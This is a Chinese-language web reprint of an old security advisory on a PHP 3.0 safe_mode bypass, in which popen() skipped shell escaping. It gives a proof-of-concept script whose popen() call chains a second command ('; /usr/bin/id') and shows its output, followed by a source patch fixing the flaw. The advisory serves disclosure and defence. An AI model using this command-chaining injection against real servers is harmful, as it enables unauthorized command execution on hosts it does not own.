PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
php中error与exception的区别及应用
Jul 28 PHP
thinkphp中html:list标签传递多个参数实例
Oct 30 PHP
php多次include后导致全局变量global失效的解决方法
Feb 28 PHP
跨浏览器PHP下载文件名中的中文乱码问题解决方法
Mar 05 PHP
[原创]PHP字符串中插入子字符串方法总结
May 06 PHP
浅析PHP开发规范
Feb 05 PHP
解决Laravel自定义类引入和命名空间的问题
Oct 15 PHP
laravel邮件发送的实现代码示例
Jan 31 PHP
PHP7创建COOKIE和销毁COOKIE的实例方法
Feb 03 PHP
php获取小程序码的实现代码(B类接口)
Jun 13 PHP
php框架知识点的整理和补充
Mar 01 PHP
PHP7移除的扩展和SAPI
Mar 09 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
PHP+Mysql日期时间如何转换(UNIX时间戳和格式化日期)
2012/07/15 PHP
详解PHP的Laravel框架中Eloquent对象关系映射使用
2016/02/26 PHP
php远程下载类分享
2016/04/13 PHP
ThinkPHP简单使用memcache缓存的方法
2016/11/15 PHP
PHP自定义函数实现数组比较功能示例
2017/10/19 PHP
php5与php7的区别点总结
2019/10/11 PHP
学习ExtJS(二) Button常用方法
2009/10/07 Javascript
HTML,CSS,JavaScript速查表推荐
2014/12/02 Javascript
js实现文字垂直滚动和鼠标悬停效果
2015/12/31 Javascript
js中判断变量类型函数typeof的用法总结
2016/08/09 Javascript
使用nodejs下载风景壁纸
2017/02/05 NodeJs
js 性能优化之快速响应的用户界面
2017/02/15 Javascript
bootstrap table表格客户端分页实例
2017/08/07 Javascript
vue实现权限控制路由(vue-router 动态添加路由)
2019/11/04 Javascript
Vue简单封装axios之解决post请求后端接收不到参数问题
2020/02/16 Javascript
微信小程序以ssm做后台开发的实现示例
2020/04/08 Javascript
[01:19:54]DOTA2上海特级锦标赛主赛事日 - 2 败者组第二轮#1Alliance VS EHOME
2016/03/03 DOTA
Python函数学习笔记
2008/10/07 Python
Python requests库用法实例详解
2018/08/14 Python
python实现简单图片物体标注工具
2019/03/18 Python
flask应用部署到服务器的方法
2019/07/12 Python
django使用xadmin的全局配置详解
2019/11/15 Python
利用matplotlib实现根据实时数据动态更新图形
2019/12/13 Python
python怎么判断模块安装完成
2020/06/19 Python
浅谈sklearn中predict与predict_proba区别
2020/06/28 Python
css3实现3D色子翻转特效
2014/12/23 HTML / CSS
Lookfantastic澳大利亚官网:英国知名美妆购物网站
2021/01/07 全球购物
越南母婴用品购物网站:Kids Plaza
2020/04/09 全球购物
通息工程毕业生自荐信
2013/10/16 职场文书
新闻专业应届生求职信
2013/10/31 职场文书
环保标语大全
2014/06/12 职场文书
中共广东省委常委会党的群众路线教育实践活动整改方案
2014/09/23 职场文书
学生不讲诚信检讨书
2014/09/29 职场文书
违反单位工作制度检讨书
2014/10/25 职场文书
仓库管理制度范本
2015/08/04 职场文书
Python 的演示平台支持 WSGI 接口的应用
2022/04/20 Python